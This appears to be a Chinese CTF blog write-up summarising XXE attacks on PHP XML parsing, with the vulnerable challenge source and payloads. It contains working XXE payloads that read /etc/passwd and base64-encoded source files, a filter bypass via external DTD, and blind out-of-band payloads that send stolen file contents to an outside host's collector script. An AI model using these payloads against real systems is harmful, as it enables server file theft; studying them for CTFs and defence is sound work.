XXE总结

本文最后更新于:4 年前

CTF

就以这次校赛的例子作为开头。
这一次的题是一种回显式的xxe,但是过滤了ENTITY参数.
源码:

<?php
libxml_disable_entity_loader(false);//这个函数原本是禁止加载外部实体,false就是允许
$user1 = $_POST['user1'];
$xmlfile = file_get_contents('php://input'); //接收xml数据
$aa = str_replace('<!ENTITY','**',$xmlfile);
$dom = new DOMDocument();
$dom->loadXML($aa, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$user = $creds->user;
?>
<!DOCTYPE html>
<head>
<title>08067</title>
<meta name="description" content="slick Login">
<meta name="author" content="MRYE+">
<link rel="stylesheet" type="text/css" href="./xxe/style.css" />
<style type="text/css">
textarea{ resize:none; width:400px; height:200px;margin:10px auto;}
</style>
<script type="text/javascript" src="./xxe/jquery-latest.min.js"></script>
<script type="text/javascript" src="./xxe/placeholder.js"></script>
</head>
<body>
<form id="slick-login" action="./index.php" method="post" >
<label for="user">user</label>
<input type="text" name="user1" class="placeholder" placeholder="user ?">
<input type="submit" value="search">
<textarea  name="comment" form="usrform" class="placeholder" placeholder="......"><?php echo "$user";echo "$user1";?></textarea><!-- 这里的user1接收了就打印>
<user 参数才是xml的回显-->
</form>
</body>
</html>

看到这篇漏洞报告,说明了ENTITY被过滤,可以通过DOCTYPE调用dtd文件的方式来绕过。
poc:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://123.207.84.13/1.dtd">
<root>
<user>&test;</user>
</root>

1.dtd文件

<!ENTITY test SYSTEM "file:///etc/passwd">

这里有遇到了几个问题:
为什么修改poc的<root><user>&test;</user></root>的标签为其他值,就没法执行?

  1. 这里<root>是xml文档的根元素,XML文档中必须要有一个根元素.这是xml的语法.这个标签的值可以随便改.
  2. 通过源代码知道,$user = $creds->user; $creds包含是整个传入xml的值,但是$user的值却是$creds的->user值.然后是将$user作为回显。而不是整个xml,所以这里要添加<user></user>标签

无过滤的情况:

有回显:

poc

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

注: 如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=路径">]>
<root>&file;</root>

无回显:

(上面那道题也可以使用无回显的方法)
本地测试:
poc:
(除非是截包改,要不然这段poc需要编码再传)

<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "file:///f:/1.txt">  
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">;  
%remote;
%all;
]>
<root>&send;</root>

xxe.dtd:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/2.php?file=%file;'>">;  

2.php:

<?php  
file_put_contents("1.txt", $_GET['file']) ;  
?>

test.php

<?php  
$data = simplexml_load_string($_GET['xml']);
?>

访问:http://127.0.0.1/test.php?xml='poc内容'
成功生成1.txt的文件,内容为f:/1.txt
注意: 本地测试的时候有些坑人的地方.如果在php5.5及以上,会默认禁用外部实体的加载.这时候访问test.php会报错.test.php内容必须是

$data = simplexml_load_string($_GET['xml'],'SimpleXMLElement',LIBXML_NOENT);

php5.5以下上面的代码就可以运行。

有过滤的情况:

1.后台禁用外部实体加载
2.过滤关键字

ENTITY关键字被过滤的blind(也就是上面那道ctf的另外一种解法)
poc:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg SYSTEM "http://123.207.84.13/xx.dtd">;
<root>&send;
</root>

xx.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://123.207.84.13/1.php?file=%file;'>">; %all;

1.php

<?php  
file_put_contents("flag.txt", $_GET['file']) ;  
?>

flag.txt就是读取到的内容。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!